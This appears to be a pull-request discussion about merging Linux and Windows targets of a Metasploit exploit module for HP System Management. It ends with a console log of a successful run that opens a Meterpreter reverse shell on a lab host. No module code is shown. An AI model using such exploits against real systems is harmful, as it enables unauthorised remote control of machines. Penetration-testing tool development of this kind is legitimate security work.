Add hp_sys_mgmt_exec module for Linux and enhance module for Windows

[mwulftange]

The hp_sys_mgmt_exec module for Linux is a port of the Windows module with minor changes due to the requirement of quotes. It also uses Perl instead of PHP as PHP may not always be in the environment PATH. Although the Windows module works perfectly, it now uses the same technique to encode the command (thankfully, PHP adopted major syntax characteristics and functions from Perl).

[wchen-r7]

Thanks for the patch. It looks like you can really just merge the linux targets to the existing hp_sys_mgmt_exec module, and then move the file to multi/http/hp_sys_mgmt_exec.rb.

[mwulftange]

I’ve already tried that but I didn’t get it to work properly. I tried it with dynamically including the corresponding CmdStager module depending on the target. It worked for CmdStagerBourne but it didn’t work for CmdStagerVBS as it registers the advanced option DECODERSTUB during initialization.

But I’ll give your suggestion a try: I’ll dynamically include the CmdStagerBourne into the existing Windows exploit. That should work as the latter does only overwrite the create_stager method.

[mwulftange]

I’ve managed to merge both exploits in a multi platform exploit as described before. This is way more better.

[wchen-r7]

Beautiful, thanks for the merge! Module works for me, merging to master now:

msf exploit(hp_sys_mgmt_exec) > run

[*] Started reverse handler on 10.0.1.76:4444 
[*] Command Stager progress -   2.77% done (2799/101001 bytes)
[*] Command Stager progress -   5.54% done (5598/101001 bytes)
[*] Command Stager progress -   8.31% done (8397/101001 bytes)
[*] Command Stager progress -  11.09% done (11196/101001 bytes)
[*] Command Stager progress -  13.86% done (13995/101001 bytes)
[*] Command Stager progress -  16.63% done (16794/101001 bytes)
[*] Command Stager progress -  19.40% done (19593/101001 bytes)
[*] Command Stager progress -  22.17% done (22392/101001 bytes)
[*] Command Stager progress -  24.94% done (25191/101001 bytes)
[*] Command Stager progress -  27.71% done (27990/101001 bytes)
[*] Command Stager progress -  30.48% done (30789/101001 bytes)
[*] Command Stager progress -  33.26% done (33588/101001 bytes)
[*] Command Stager progress -  36.03% done (36387/101001 bytes)
[*] Command Stager progress -  38.80% done (39186/101001 bytes)
[*] Command Stager progress -  41.57% done (41985/101001 bytes)
[*] Command Stager progress -  44.34% done (44784/101001 bytes)
[*] Command Stager progress -  47.11% done (47583/101001 bytes)
[*] Command Stager progress -  49.88% done (50382/101001 bytes)
[*] Command Stager progress -  52.65% done (53181/101001 bytes)
[*] Command Stager progress -  55.43% done (55980/101001 bytes)
[*] Command Stager progress -  58.20% done (58779/101001 bytes)
[*] Command Stager progress -  60.97% done (61578/101001 bytes)
[*] Command Stager progress -  63.74% done (64377/101001 bytes)
[*] Command Stager progress -  66.51% done (67176/101001 bytes)
[*] Command Stager progress -  69.28% done (69975/101001 bytes)
[*] Command Stager progress -  72.05% done (72774/101001 bytes)
[*] Command Stager progress -  74.82% done (75573/101001 bytes)
[*] Command Stager progress -  77.60% done (78372/101001 bytes)
[*] Command Stager progress -  80.37% done (81171/101001 bytes)
[*] Command Stager progress -  83.14% done (83970/101001 bytes)
[*] Command Stager progress -  85.91% done (86769/101001 bytes)
[*] Command Stager progress -  88.68% done (89568/101001 bytes)
[*] Command Stager progress -  91.45% done (92367/101001 bytes)
[*] Command Stager progress -  94.22% done (95166/101001 bytes)
[*] Command Stager progress -  96.99% done (97965/101001 bytes)
[*] Command Stager progress -  99.75% done (100748/101001 bytes)
[*] Sending stage (751104 bytes) to 10.0.1.8
[*] Command Stager progress - 100.00% done (101001/101001 bytes)
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.8:1179) at 2013-08-08 13:33:07 -0500

meterpreter >